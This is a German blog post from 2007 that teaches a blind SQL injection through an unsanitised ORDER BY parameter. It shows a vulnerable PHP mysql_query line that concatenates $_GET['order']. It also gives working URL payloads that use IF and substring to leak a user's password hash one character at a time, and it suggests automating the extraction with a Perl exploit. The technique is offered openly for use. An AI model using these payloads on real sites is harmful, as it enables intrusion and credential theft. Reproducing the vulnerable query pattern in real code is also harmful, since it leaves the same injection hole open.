ORDER BY – Injection

Posted by eddy14 - 24/06/07 at 06:06 pm

Damals … als ich noch SQL-Injections anwenden erlernte … sagte man mir (und auch irgendwie jedem) das man kein ORDER BY injecten kann. Aber vor einem Monat ungefähr, fand ich das Gegenteil heraus xD Also, hier ist das Resultat, viel Spaß damit! :)

Also ohne UNION hab ichs gelöst ….

Sagen wir, das Script will per URL “$order” haben, welches “ASC” und “DESC” sein soll.
Abfrage sieht z.B. so aus:
SELECT * FROM members ORDER BY datum ASC

im Script:

mysql_query(“SELECT * FROM members ORDER BY datum “.$_GET['order']);

Sagen wir, das gibt (jetzt im Text Format ^^) folgendes aus, wenn wir in der URL “script.php?order=ASC” haben:

1.) Name: Andreas Nachname: Lolman Email: lol@blabla.com
2.) Name: Horst Nachname: Andri Email: andri@gmx.de
3.) Name: Nemo Nachname: Musiol Email: mussi@hotmail.de

Also das anzeigen der Member.
Injecten können wir nicht viel, also nehmen wir folgendes:

script.php?order=IF(substring((SELECT+password+FROM+user+WHERE+id=1),1,1)= CHAR(50),ASC,DESC)/*
(Weiß jetzt nicht mehr genau ob es ASC und DESC heißen muss, oder “ASC” und “DESC”)

Was macht das genau? Eine IF Abfrage. (Ja, ist in SQL möglich ^^). Die Syntax sieht wie folgt aus:

IF(eine_bedinung, “dann_das_hier_anzeigen”,”ansonsten_das_hier”)

Wir fragen also den ersten Buchstaben eines Passwortes ab … falls dieses (in diesem fall) Char(50), also “2″ ist, wird nach “ASC” sortiert, und falls nicht, wird nach “DESC” sortiert.
Nun könnte man halt mit einem Perl Exploit Abfragen, ob nach dieser Abfrage, die Reihenfolge verändert wurde (das Passwort also mit “2″ beginnt [besser gesagt, das hash ^^]) oder ob es gleich blieb, wie mit einer normalen Abfrage.

Anstatt DESC und ASC kann man auch das “ORDER BY [vuln] DESC” injecten. Dann sieht die Abfrage halt ungefähr so aus:

script.php?order=IF(substring((SELECT+password+FROM+user+WHERE+id=1),1,1)= CHAR(50),datum,titel)/*

If you enjoyed this article please consider staying updated via RSS. Links to your own social media pages could be added here.

Leave a Reply

I would love to hear your view.